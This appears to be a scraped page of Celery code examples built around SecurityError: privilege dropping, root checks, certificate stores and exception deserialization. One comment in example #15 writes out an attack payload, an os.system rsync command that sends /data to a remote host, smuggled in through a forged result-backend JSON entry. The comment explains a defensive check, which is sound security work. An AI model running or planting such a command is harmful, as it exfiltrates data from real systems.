示例#1
0
def maybe_drop_privileges(uid=None, gid=None):
    """Change process privileges to new user/group.

    If UID and GID is specified, the real user/group is changed.

    If only UID is specified, the real user is changed, and the group is
    changed to the users primary group.

    If only GID is specified, only the group is changed.
    """
    if sys.platform == 'win32':
        return
    if os.geteuid():
        # no point trying to setuid unless we're root.
        if not os.getuid():
            raise SecurityError('contact support')
    uid = uid and parse_uid(uid)
    gid = gid and parse_gid(gid)

    if uid:
        _setuid(uid, gid)
    else:
        gid and setgid(gid)

    if uid and not os.getuid() and not os.geteuid():
        raise SecurityError('Still root uid after drop privileges!')
    if gid and not os.getgid() and not os.getegid():
        raise SecurityError('Still root gid after drop privileges!')
示例#2
0
def check_privileges(accept_content):
    uid = os.getuid() if hasattr(os, 'getuid') else 65535
    gid = os.getgid() if hasattr(os, 'getgid') else 65535
    euid = os.geteuid() if hasattr(os, 'geteuid') else 65535
    egid = os.getegid() if hasattr(os, 'getegid') else 65535

    if hasattr(os, 'fchown'):
        if not all(hasattr(os, attr)
                   for attr in ['getuid', 'getgid', 'geteuid', 'getegid']):
            raise SecurityError('suspicious platform, contact support')

    if not uid or not gid or not euid or not egid:
        if ('pickle' in accept_content or
                'application/x-python-serialize' in accept_content):
            if not C_FORCE_ROOT:
                try:
                    print(ROOT_DISALLOWED.format(
                        uid=uid, euid=euid, gid=gid, egid=egid,
                    ), file=sys.stderr)
                finally:
                    sys.stderr.flush()
                    os._exit(1)
        warnings.warn(RuntimeWarning(ROOT_DISCOURAGED.format(
            uid=uid, euid=euid, gid=gid, egid=egid,
        )))
示例#3
0
def _setuid(uid, gid):
    # If GID isn't defined, get the primary GID of the user.
    if not gid and pwd:
        gid = pwd.getpwuid(uid).pw_gid
    # Must set the GID before initgroups(), as setgid()
    # is known to zap the group list on some platforms.

    # setgid must happen before setuid (otherwise the setgid operation
    # may fail because of insufficient privileges and possibly stay
    # in a privileged group).
    setgid(gid)
    initgroups(uid, gid)

    # at last:
    setuid(uid)
    # ... and make sure privileges cannot be restored:
    try:
        setuid(0)
    except OSError as exc:
        if exc.errno != errno.EPERM:
            raise
        # we should get here: cannot restore privileges,
        # everything was fine.
    else:
        raise SecurityError(
            'non-root user able to restore privileges after setuid.')
示例#4
0
文件: utils.py 项目: wiennat/celery
def reraise_errors(msg='{0!r}', errors=None):
    assert crypto is not None
    errors = (crypto.Error, ) if errors is None else errors
    try:
        yield
    except errors as exc:
        raise SecurityError, SecurityError(msg.format(exc)), sys.exc_info()[2]
示例#5
0
def reraise_errors(msg='%r', errors=None):
    assert crypto is not None
    errors = (crypto.Error, ) if errors is None else errors
    try:
        yield
    except errors, exc:
        raise SecurityError, SecurityError(msg % (exc, )), sys.exc_info()[2]
示例#6
0
def reraise_errors(msg="{0!r}", errors=None):
    """Context reraising crypto errors as :exc:`SecurityError`."""
    errors = (cryptography.exceptions, ) if errors is None else errors
    try:
        yield
    except errors as exc:
        reraise(SecurityError, SecurityError(msg.format(exc)),
                sys.exc_info()[2])
示例#7
0
def reraise_errors(msg='{0!r}', errors=None):
    """Context reraising crypto errors as :exc:`SecurityError`."""
    assert crypto is not None
    errors = (crypto.Error, ) if errors is None else errors
    try:
        yield
    except errors as exc:
        reraise(SecurityError, SecurityError(msg.format(exc)),
                sys.exc_info()[2])
示例#8
0
 def __init__(self, path):
     CertStore.__init__(self)
     if os.path.isdir(path):
         path = os.path.join(path, '*')
     for p in glob.glob(path):
         with open(p) as f:
             cert = Certificate(f.read())
             if cert.has_expired():
                 raise SecurityError(
                     'Expired certificate: %r' % (cert.get_id(), ))
             self.add_cert(cert)
示例#9
0
 def __init__(self, path):
     super().__init__()
     if os.path.isdir(path):
         path = os.path.join(path, '*')
     for p in glob.glob(path):
         with open(p) as f:
             cert = Certificate(f.read())
             if cert.has_expired():
                 raise SecurityError(
                     f'Expired certificate: {cert.get_id()!r}')
             self.add_cert(cert)
示例#10
0
 def add_cert(self, cert):
     if cert.get_id() in self._certs:
         raise SecurityError('Duplicate certificate: %r' % (id, ))
     self._certs[cert.get_id()] = cert
示例#11
0
 def __getitem__(self, id):
     """get certificate by id"""
     try:
         return self._certs[id]
     except KeyError:
         raise SecurityError('Unknown certificate: %r' % (id, ))
示例#12
0
 def add_cert(self, cert):
     cert_id = bytes_to_str(cert.get_id())
     if cert_id in self._certs:
         raise SecurityError('Duplicate certificate: {0!r}'.format(id))
     self._certs[cert_id] = cert
示例#13
0
 def __getitem__(self, id):
     """Get certificate by id."""
     try:
         return self._certs[bytes_to_str(id)]
     except KeyError:
         raise SecurityError('Unknown certificate: {0!r}'.format(id))
示例#14
0
 def add_cert(self, cert):
     if cert.get_id() in self._certs:
         raise SecurityError('Duplicate certificate: {0!r}'.format(id))
     self._certs[cert.get_id()] = cert
示例#15
0
    def exception_to_python(self, exc):
        """Convert serialized exception to Python exception."""
        if not exc:
            return None
        elif isinstance(exc, BaseException):
            if self.serializer in EXCEPTION_ABLE_CODECS:
                exc = get_pickled_exception(exc)
            return exc
        elif not isinstance(exc, dict):
            try:
                exc = dict(exc)
            except TypeError as e:
                raise TypeError(f"If the stored exception isn't an "
                                f"instance of "
                                f"BaseException, it must be a dictionary.\n"
                                f"Instead got: {exc}") from e

        exc_module = exc.get('exc_module')
        try:
            exc_type = exc['exc_type']
        except KeyError as e:
            raise ValueError("Exception information must include "
                             "the exception type") from e
        if exc_module is None:
            cls = create_exception_cls(
                exc_type, __name__)
        else:
            try:
                # Load module and find exception class in that
                cls = sys.modules[exc_module]
                # The type can contain qualified name with parent classes
                for name in exc_type.split('.'):
                    cls = getattr(cls, name)
            except (KeyError, AttributeError):
                cls = create_exception_cls(exc_type,
                                           celery.exceptions.__name__)
        exc_msg = exc.get('exc_message', '')

        # If the recreated exception type isn't indeed an exception,
        # this is a security issue. Without the condition below, an attacker
        # could exploit a stored command vulnerability to execute arbitrary
        # python code such as:
        # os.system("rsync /data [email protected]:~/data")
        # The attacker sets the task's result to a failure in the result
        # backend with the os as the module, the system function as the
        # exception type and the payload
        # rsync /data [email protected]:~/data
        # as the exception arguments like so:
        # {
        #   "exc_module": "os",
        #   "exc_type": "system",
        #   "exc_message": "rsync /data [email protected]:~/data"
        # }
        if not isinstance(cls, type) or not issubclass(cls, BaseException):
            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
            raise SecurityError(
                f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")

        # XXX: Without verifying `cls` is actually an exception class,
        #      an attacker could execute arbitrary python code.
        #      cls could be anything, even eval().
        try:
            if isinstance(exc_msg, (tuple, list)):
                exc = cls(*exc_msg)
            else:
                exc = cls(exc_msg)
        except Exception as err:  # noqa
            exc = Exception(f'{cls}({exc_msg})')

        return exc
示例#16
0
 def add_cert(self, cert):
     cert_id = bytes_to_str(cert.get_id())
     if cert_id in self._certs:
         raise SecurityError(f'Duplicate certificate: {id!r}')
     self._certs[cert_id] = cert